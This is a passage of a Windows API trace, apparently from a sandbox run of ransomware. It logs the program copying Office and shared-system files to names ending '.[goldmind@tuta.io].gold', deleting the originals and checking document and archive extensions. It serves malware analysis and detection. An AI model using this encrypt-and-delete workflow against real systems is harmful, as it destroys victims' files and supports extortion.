lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.293] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.293] SetEndOfFile (hFile=0x19c) returned 1 [0035.293] CloseHandle (hObject=0x19c) returned 1 [0035.297] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.297] SetEndOfFile (hFile=0x188) returned 1 [0035.298] CloseHandle (hObject=0x188) returned 1 [0035.298] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.298] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.298] lstrlenW (lpString=".doc") returned 4 [0035.298] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.298] lstrlenW (lpString=".docx") returned 5 [0035.298] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.298] lstrlenW (lpString=".pdf") returned 4 [0035.298] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.298] lstrlenW (lpString=".xls") returned 4 [0035.298] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString=".xlsx") returned 5 [0035.299] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.299] lstrlenW (lpString=".ppt") returned 4 [0035.299] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".zip") returned 4 [0035.299] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.299] lstrlenW (lpString=".rar") returned 4 [0035.299] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString=".bz2") returned 4 [0035.299] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString=".7z") returned 3 [0035.299] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".dbf") returned 4 [0035.299] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".1cd") returned 4 [0035.299] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".jpg") returned 4 [0035.299] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".doc") returned 4 [0035.299] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString=".docx") returned 5 [0035.299] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.299] lstrlenW (lpString=".pdf") returned 4 [0035.299] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString=".xls") returned 4 [0035.299] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString=".xlsx") returned 5 [0035.299] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.299] lstrlenW (lpString=".ppt") returned 4 [0035.299] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".zip") returned 4 [0035.299] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.299] lstrlenW (lpString=".rar") returned 4 [0035.299] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString=".bz2") returned 4 [0035.299] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString=".7z") returned 3 [0035.299] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".dbf") returned 4 [0035.299] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".1cd") returned 4 [0035.299] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.299] lstrlenW (lpString=".jpg") returned 4 [0035.299] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.300] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.300] lstrlenW (lpString="VisiorWW.xml") returned 12 [0035.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.300] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=8723) returned 1 [0035.300] CloseHandle (hObject=0x188) returned 1 [0035.300] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0035.300] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.301] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.301] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.301] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.301] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.301] GetLastError () returned 0x0 [0035.301] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x2213, lpOverlapped=0x0) returned 1 [0035.302] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0035.303] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.303] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.303] SetEndOfFile (hFile=0x19c) returned 1 [0035.303] CloseHandle (hObject=0x19c) returned 1 [0035.304] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.304] SetEndOfFile (hFile=0x188) returned 1 [0035.305] CloseHandle (hObject=0x188) returned 1 [0035.305] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.305] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0035.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.305] lstrlenW (lpString=".doc") returned 4 [0035.305] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.305] lstrlenW (lpString=".docx") returned 5 [0035.305] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.305] lstrlenW (lpString=".pdf") returned 4 [0035.305] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.305] lstrlenW (lpString=".xls") returned 4 [0035.305] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.305] lstrlenW (lpString=".xlsx") returned 5 [0035.305] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.305] lstrlenW (lpString=".ppt") returned 4 [0035.305] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.305] lstrlenW (lpString=".zip") returned 4 [0035.305] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.305] lstrlenW (lpString=".rar") returned 4 [0035.305] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.305] lstrlenW (lpString=".bz2") returned 4 [0035.305] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.305] lstrlenW (lpString=".7z") returned 3 [0035.305] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.305] lstrlenW (lpString=".dbf") returned 4 [0035.305] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.305] lstrlenW (lpString=".1cd") returned 4 [0035.306] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.306] lstrlenW (lpString=".jpg") returned 4 [0035.306] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.306] lstrlenW (lpString=".doc") returned 4 [0035.306] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString=".docx") returned 5 [0035.306] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.306] lstrlenW (lpString=".pdf") returned 4 [0035.306] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString=".xls") returned 4 [0035.306] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString=".xlsx") returned 5 [0035.306] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.306] lstrlenW (lpString=".ppt") returned 4 [0035.306] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.306] lstrlenW (lpString=".zip") returned 4 [0035.306] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.306] lstrlenW (lpString=".rar") returned 4 [0035.306] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString=".bz2") returned 4 [0035.306] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString=".7z") returned 3 [0035.306] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.306] lstrlenW (lpString=".dbf") returned 4 [0035.306] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.306] lstrlenW (lpString=".1cd") returned 4 [0035.306] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.306] lstrlenW (lpString=".jpg") returned 4 [0035.306] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.306] lstrcmpiW (lpString1=".EPS", lpString2=".gold") returned -1 [0035.306] lstrlenW (lpString="MS.EPS") returned 6 [0035.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.307] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=15067) returned 1 [0035.307] CloseHandle (hObject=0x188) returned 1 [0035.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0035.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.308] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.308] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.308] GetLastError () returned 0x0 [0035.308] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0035.310] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0035.310] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.311] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0035.311] SetEndOfFile (hFile=0x19c) returned 1 [0035.311] CloseHandle (hObject=0x19c) returned 1 [0035.311] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.311] SetEndOfFile (hFile=0x188) returned 1 [0035.312] CloseHandle (hObject=0x188) returned 1 [0035.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0035.312] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0035.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString=".doc") returned 4 [0035.313] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0035.313] lstrlenW (lpString=".docx") returned 5 [0035.313] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0035.313] lstrlenW (lpString=".pdf") returned 4 [0035.313] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString=".xls") returned 4 [0035.313] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString=".xlsx") returned 5 [0035.313] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0035.313] lstrlenW (lpString=".ppt") returned 4 [0035.313] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString=".zip") returned 4 [0035.313] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString=".rar") returned 4 [0035.313] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString=".bz2") returned 4 [0035.313] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0035.313] lstrlenW (lpString=".7z") returned 3 [0035.313] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0035.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString=".dbf") returned 4 [0035.313] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0035.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString=".1cd") returned 4 [0035.313] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0035.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString=".jpg") returned 4 [0035.313] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString=".doc") returned 4 [0035.313] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0035.313] lstrlenW (lpString=".docx") returned 5 [0035.313] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0035.313] lstrlenW (lpString=".pdf") returned 4 [0035.313] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString=".xls") returned 4 [0035.313] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString=".xlsx") returned 5 [0035.313] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0035.313] lstrlenW (lpString=".ppt") returned 4 [0035.313] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.313] lstrlenW (lpString=".zip") returned 4 [0035.313] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0035.313] lstrlenW (lpString=".rar") returned 4 [0035.313] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0035.314] lstrlenW (lpString=".bz2") returned 4 [0035.314] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0035.314] lstrlenW (lpString=".7z") returned 3 [0035.314] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0035.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.314] lstrlenW (lpString=".dbf") returned 4 [0035.314] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0035.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.314] lstrlenW (lpString=".1cd") returned 4 [0035.314] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0035.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.314] lstrlenW (lpString=".jpg") returned 4 [0035.314] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0035.314] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0035.314] lstrlenW (lpString="MS.GIF") returned 6 [0035.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.314] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1069) returned 1 [0035.314] CloseHandle (hObject=0x188) returned 1 [0035.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0035.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.314] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.314] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.315] GetLastError () returned 0x0 [0035.315] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x42d, lpOverlapped=0x0) returned 1 [0035.316] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x430, lpOverlapped=0x0) returned 1 [0035.317] ReadFile (in: hFile=0x188, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.317] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0035.317] SetEndOfFile (hFile=0x19c) returned 1 [0035.317] CloseHandle (hObject=0x19c) returned 1 [0035.318] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 